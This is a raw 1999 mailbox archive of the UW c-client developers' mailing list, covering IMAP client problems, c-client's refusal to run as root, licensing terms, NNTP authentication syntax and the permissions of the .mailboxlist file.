mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id CAA26092; Fri, 23 Jul 1999 02:37:45 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id CAA09860; Fri, 23 Jul 1999 02:36:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA37084 for ; Fri, 23 Jul 1999 02:35:24 -0700 Received: from mailsrv2.hrz.uni-oldenburg.de (mailsrv2.hrz.uni-oldenburg.de [134.106.49.199]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id CAA15780 for ; Fri, 23 Jul 1999 02:35:21 -0700 Received: from uni-oldenburg.de (kopernik.hrz.uni-oldenburg.de [134.106.61.67]) by mailsrv2.hrz.uni-oldenburg.de (8.9.3/8.9.3/07.07.1999) with ESMTP id LAA23681; Fri, 23 Jul 1999 11:35:06 +0200 (METDST) Message-Id: <3798374A.B33DA464@uni-oldenburg.de> Date: Fri, 23 Jul 1999 11:35:06 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bernd Wagener To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: null character in mail References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: de,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, I tried Outlook Express and it works fine. Nulls are not allowed, thats clear and I have no ideas how nulls came into the inbox. The MTA is plain vanilla sendmail 8.9.3?? Mark Crispin wrote: > > Did you try some other client? I tried a message with an embedded NUL via > IMAP with Pine and it worked without problems. > > Note that nulls are not allowed in messages according to the IMAP > specification and the DRUMS update to RFC 822. From pinedev@shivax2.cac.washington.edu Wed Jul 28 04:41:21 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jul 1999 04:41:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id EAA01207 for ; Wed, 28 Jul 1999 04:41:19 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id EAA24149; Wed, 28 Jul 1999 04:41:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id EAA28667; Wed, 28 Jul 1999 04:39:57 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA15534 for ; Wed, 28 Jul 1999 04:37:56 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id EAA20332 for ; Wed, 28 Jul 1999 04:37:55 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id MAA21806 for ; Wed, 28 Jul 1999 12:37:52 +0100 (BST) Message-Id: <199907281137.MAA21806@phy.hw.ac.uk> Date: Wed, 28 Jul 1999 12:37:34 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: running as root? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jul 1999 07:46:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA02988 for ; Wed, 28 Jul 1999 07:46:56 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA25421; Wed, 28 Jul 1999 07:46:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA04080; Wed, 28 Jul 1999 07:45:56 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA67608 for ; Wed, 28 Jul 1999 07:41:55 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA11239 for ; Wed, 28 Jul 1999 07:41:54 -0700 Received: from mercury (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with SMTP id PAA09615; Wed, 28 Jul 1999 15:41:19 +0100 (BST) Received: from mira by mercury id ; Wed, 28 Jul 1999 15:41:18 +0100 Message-Id: Date: Wed, 28 Jul 1999 15:41:18 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Barry Cornelius To: c-client@u.washington.edu Subject: failure of Netscape Messenger to connect to IMAP server MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We are having two problems with using Netscape Messenger 4.61 on Windows NT using IMAP to connect to a UW IMAP server running on a Solaris 2.6 box. Until early yesterday, we were using imap-4.2: we are now testing imap-4.6.BETA (with unix_old_algorithm = T). Problem 1: Sometimes when clicking on the "Get Msg" button, Messenger waits with a dialog box saying: Getting New Messages Status: Connect: looking up host imaphost.dur.ac.uk It fails to get any further. The dialog box has a Cancel button. If you click on this and then click on the "Get Msg" button again, it succeeds. Problem 2: Sometimes when using Messenger's Message Composition window, although sending the message is successful it says that it is unable to write a copy of the message to the Sent folder. The Sent folder and all other folders have been configured to be IMAP folders. Although I have frequently seen this with imap-4.2 I have yet to see it with imap-4.6.BETA but I've only been using that during the last day. Has anyone else seen this behaviour? -- Barry Cornelius Telephone: (0191 or +44 191) 374 4717 User Services, Information Technology Service, Office: 374 2892 Science Site, University of Durham, Durham, DH1 3LE, UK Fax: 374 7759 http://www.dur.ac.uk/~dcl0bjc mailto:Barry.Cornelius@durham.ac.uk -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 28 08:14:26 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jul 1999 08:14:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id IAA03694 for ; Wed, 28 Jul 1999 08:14:25 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id IAA27824; Wed, 28 Jul 1999 08:14:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA24335; Wed, 28 Jul 1999 08:12:22 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA18904 for ; Wed, 28 Jul 1999 08:10:24 -0700 Received: from supermarine.crossflight.co.uk (root@supermarine.crossflight.co.uk [195.172.72.3]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id IAA03680 for ; Wed, 28 Jul 1999 08:10:18 -0700 Received: from mailscan.crossflight.co.uk (mailscan.crossflight.co.uk [195.172.72.201]) by supermarine.crossflight.co.uk (8.9.1/8.9.1) with ESMTP id QAA16739 for ; Wed, 28 Jul 1999 16:10:11 +0100 (GMT/BST) Received: from crossflight.co.uk (unverified) by mailscan.crossflight.co.uk (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Wed, 28 Jul 1999 16:10:03 +0100 Message-Id: <379F1D4B.7FAB8E25@crossflight.co.uk> Date: Wed, 28 Jul 1999 16:10:03 +0100 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: Barry Cornelius Cc: c-client@u.washington.edu Subject: Re: failure of Netscape Messenger to connect to IMAP server References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Barry Cornelius wrote: > > We are having two problems with using Netscape Messenger 4.61 on Windows > NT using IMAP to connect to a UW IMAP server running on a Solaris 2.6 box. > Until early yesterday, we were using imap-4.2: we are now testing > imap-4.6.BETA (with unix_old_algorithm = T). I'm seeing both problems on the following setup WinNT client with Netscape Communicator 4.6 BSD/OS V4.0.1 server with imap-4.6.BETA and mbx folders Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 0973 797819 01753 776104 From pinedev@shivax2.cac.washington.edu Wed Jul 28 10:37:39 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jul 1999 10:37:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id KAA07401 for ; Wed, 28 Jul 1999 10:37:38 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id KAA30452; Wed, 28 Jul 1999 10:37:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA11800; Wed, 28 Jul 1999 10:36:21 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA43456 for ; Wed, 28 Jul 1999 10:35:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pare0@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id KAA25834 for ; Wed, 28 Jul 1999 10:35:32 -0700 Message-Id: Date: Wed, 28 Jul 1999 10:28:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: running as root? In-Reply-To: <199907281137.MAA21806@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 28 Jul 1999 12:37:34 +0100 (BST), Karsten Ballueder wrote: > I found that our mail client using c-client lib would not > function if run as root as it wouldn't get access to its > mailfolders etc. This is a feature. User id 0 is an internal flag in the servers to mean "not logged in". c-client will not initialize its environment for user id 0 (since environment initialization is a one-time operation). You may be able to get some things to work after a fashion, but that's it. I am not going to change this. This is a basic security issue. If anything, I will make it even less possible to use c-client under user id 0. People who want to run mail clients as root need to be taught not to do so. From pinedev@shivax2.cac.washington.edu Wed Jul 28 11:27:25 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jul 1999 11:27:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA08776 for ; Wed, 28 Jul 1999 11:27:24 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA00820; Wed, 28 Jul 1999 11:27:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA04291; Wed, 28 Jul 1999 11:26:22 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21272 for ; Wed, 28 Jul 1999 11:25:46 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id LAA12936 for ; Wed, 28 Jul 1999 11:25:45 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.7/8.8.7) id OAA01373; Wed, 28 Jul 1999 14:26:52 -0400 (EDT) Message-Id: Date: Wed, 28 Jul 1999 14:26:52 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. T. Breitner" To: c-client@u.washington.edu Subject: Licensing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ptr@gatecoms X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Can you tell me where licensing details on the use of c-client can be found? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 28 11:47:37 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jul 1999 11:47:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA09162 for ; Wed, 28 Jul 1999 11:47:36 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA01444; Wed, 28 Jul 1999 11:47:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA15771; Wed, 28 Jul 1999 11:44:49 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA25308 for ; Wed, 28 Jul 1999 11:44:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (icz@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id LAA03847 for ; Wed, 28 Jul 1999 11:44:03 -0700 Message-Id: Date: Wed, 28 Jul 1999 11:42:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "J. T. Breitner" Cc: c-client@u.washington.edu Subject: re: Licensing In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 28 Jul 1999 14:26:52 -0400 (EDT), J. T. Breitner wrote: > Can you tell me where licensing details on the use of c-client can be > found? Look in any source file, and find the copyright notice. The executive summary is that c-client is free software. You're welcome to use it for any purpose, but give UW credit. Also, don't sue UW and don't use UW's name in advertising. From pinedev@shivax2.cac.washington.edu Thu Jul 29 11:41:50 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Jul 1999 11:41:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA00717 for ; Thu, 29 Jul 1999 11:41:49 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA30329; Thu, 29 Jul 1999 11:41:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA25042; Thu, 29 Jul 1999 11:40:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA31408 for ; Thu, 29 Jul 1999 11:39:00 -0700 Received: from lexxdog.com (root@lexxdog.com [199.45.111.66]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id LAA07966 for ; Thu, 29 Jul 1999 11:38:59 -0700 Received: from HACK (cr444569-a.pr1.on.wave.home.com [24.112.27.34]) by lexxdog.com (8.9.1/8.7.3) with SMTP id SAA15954 for ; Thu, 29 Jul 1999 18:39:11 GMT Message-Id: Date: Thu, 29 Jul 1999 14:38:47 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Greg Ross" To: Subject: a quick question about nntp access in c-clinet MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've been working with php and it's support for c-client to build a web based news reader and have run in to a problem with news groups and user/passwords. I looked through the c-client docs, poked at the source a bit, and I can't find anything about user/passwords. It looks like c-client doesn't support nntp authenication, is this correct, or did I just miss something? Thanks in advanced... Greg -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 29 11:55:34 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Jul 1999 11:55:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA00951 for ; Thu, 29 Jul 1999 11:55:33 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id LAA30682; Thu, 29 Jul 1999 11:55:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA04696; Thu, 29 Jul 1999 11:47:08 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA38704 for ; Thu, 29 Jul 1999 11:46:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jms@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id LAA09081 for ; Thu, 29 Jul 1999 11:46:29 -0700 Message-Id: Date: Thu, 29 Jul 1999 11:43:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Greg Ross Cc: c-client@u.washington.edu Subject: re: a quick question about nntp access in c-clinet In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 29 Jul 1999 14:38:47 -0400, Greg Ross wrote: > I looked through the c-client docs, poked at the source a > bit, and I can't find anything about user/passwords. > > It looks like c-client doesn't support nntp authenication, is this correct, > or did I just miss something? Either you have an extremely ancient version of c-client, or you missed something, since c-client has supported NNTP authentication for some time. Just search for "auth" in nntp.c and you'll find lots of stuff about it. Briefly, if you include a /user=xxx (where xxx is the desired user name) in the host part of the mailbox name (the thing within "{}") it will authenticate automatically and prompt for a password. Otherwise, it will authenticate reactively if the server indicates that it's necessary. There's code to do reactive SMTP authentication too, but it isn't useful since the designers of SMTP SASL deemed it unimportant to support it in the protocol. From pinedev@shivax2.cac.washington.edu Mon Aug 2 07:11:29 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Aug 1999 07:11:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA05494 for ; Mon, 2 Aug 1999 07:11:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA15982; Mon, 2 Aug 1999 07:11:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA23663; Mon, 2 Aug 1999 07:10:11 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA56508 for ; Mon, 2 Aug 1999 07:06:15 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA16065 for ; Mon, 2 Aug 1999 07:06:14 -0700 Received: from mercury (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with SMTP id PAA23576; Mon, 2 Aug 1999 15:06:12 +0100 (BST) Received: from mira by mercury id ; Mon, 2 Aug 1999 15:06:12 +0100 Message-Id: Date: Mon, 2 Aug 1999 15:06:11 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Barry Cornelius To: c-client@u.washington.edu Subject: Should .mailboxlist have 666 or 600 permissions? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Although we have used Pine for many years, our use of Netscape Messenger 4.61 has recently started to move away from POP3 to IMAP. We have Messenger configured to get both the inbox and personal mail folders from an IMAP server. We are using the UW IMAP server running on a Solaris 2.6 box. Although we are mainly using imap-4.2, we are also testing imap-4.6.BETA (with unix_old_algorithm = T). The File/Subscribe operation of Messenger causes the IMAP server to create a file called .mailboxlist in the user's home directory. On our set-up, this file has 666 permissions. Is this meant to happen? I would have expected the file to have 600 permissions. And it seems to work if the permissions are changed to 600. Do other people get 666? Or is there something wrong with what we do? Looking at sm_subscribe in imap-4.6.BETA/src/c-client/smanager.c, I see that, if the .mailboxlist file does not already exist, it uses the call of fopen to open the file: if (!(f = fopen (db,"a"))) { /* append new entry */ I guess I was expecting to see something like: set_mbx_protections (db,mbx); at this point (but I'm not sure if set_mbx_protections can be used at this point). Similarly, in sm_unsubscribe, I was expecting to see something like a call of set_mbx_protections near to the line: if (!(tf = fopen (newname,"w"))) { This call of fopen is used to create the .mlbxlsttmp file that is later renamed to .mailboxlist. -- Barry Cornelius Telephone: (0191 or +44 191) 374 4717 User Services, Information Technology Service, Office: 374 2892 Science Site, University of Durham, Durham, DH1 3LE, UK Fax: 374 7759 http://www.dur.ac.uk/~dcl0bjc mailto:Barry.Cornelius@durham.ac.uk -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 2 09:44:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Aug 1999 09:44:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id JAA08678 for ; Mon, 2 Aug 1999 09:44:53 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id JAA19932; Mon, 2 Aug 1999 09:44:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA13453; Mon, 2 Aug 1999 09:44:07 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA24138 for ; Mon, 2 Aug 1999 09:41:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (linus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id JAA32502 for ; Mon, 2 Aug 1999 09:41:23 -0700 Message-Id: Date: Mon, 2 Aug 1999 09:31:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Barry Cornelius Cc: c-client@u.washington.edu Subject: re: Should .mailboxlist have 666 or 600 permissions? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The .mailboxlist file is the "bookmarks" from LSUB; it isn't a mailbox. If it's getting created as 666, that suggests that the default umask on your system is 000. I'm surprised to hear that Solaris would use that. From pinedev@shivax2.cac.washington.edu Tue Aug 3 09:04:19 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Aug 1999 09:04:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id JAA31503 for ; Tue, 3 Aug 1999 09:04:17 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id JAA12871; Tue, 3 Aug 1999 09:04:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA25519; Tue, 3 Aug 1999 09:02:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA54316 for ; Tue, 3 Aug 1999 09:00:43 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id JAA12325 for ; Tue, 3 Aug 1999 09:00:42 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id RAA24997 for ; Tue, 3 Aug 1999 17:00:39 +0100 (BST) Message-Id: <199908031600.RAA24997@phy.hw.ac.uk> Date: Tue, 3 Aug 1999 17:00:19 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: c-client falsely reporting error? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: 